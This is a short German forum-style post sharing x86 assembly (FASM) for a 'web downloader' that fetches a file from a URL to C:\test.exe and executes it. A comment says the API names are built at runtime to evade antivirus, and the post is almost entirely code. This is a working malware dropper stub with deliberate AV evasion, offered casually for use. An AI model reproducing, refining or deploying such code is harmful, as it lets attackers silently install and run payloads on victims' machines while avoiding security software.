Simpler Webdownloader,
keine Ahnung für was man ihn brauchen kann, aber mir war langweilig.
Code:
include '%include%/WIN32AX.inc'
.data
url db "url",0
ziel db "C:\test.exe",0
;paar bytes reservieren
urlmon rd 10
Down rd 18
dllhandle rd 1
DownloadFile rd 1
.code
main:
;urlmon.dll runtime schreiben, wegen Avs
mov dword [urlmon], 'U3SM'
mov dword [urlmon+4d], 'ON.D'
mov word [urlmon+1d], 'RL'
mov word [urlmon+8d], 'LL'
;urlmon.dll laden
push urlmon
call [LoadLibraryA]
mov [dllhandle],eax
;URLDownloadToFileA runtime schreiben
mov dword [Down], 'UbcD'
mov dword [Down+4d], 'ownl'
mov dword [Down+8d], 'oRdT'
mov word [Down+1d], 'RL'
mov dword [Down+12d], 'oFil'
mov word [Down+16d], 'eA'
mov byte [Down+9d], 'a'
;Api Adresse
push Down
push [dllhandle]
call [GetProcAddress]
mov [DownloadFile],eax
;Donwload
push 0
push 0
push ziel
push url
push 0
call [DownloadFile]
;Ausführen
push SW_SHOWNORMAL
push NULL
push NULL
push ziel
push NULL
push HWND_DESKTOP
call [ShellExecuteA]
push 0
call [ExitProcess]
.end main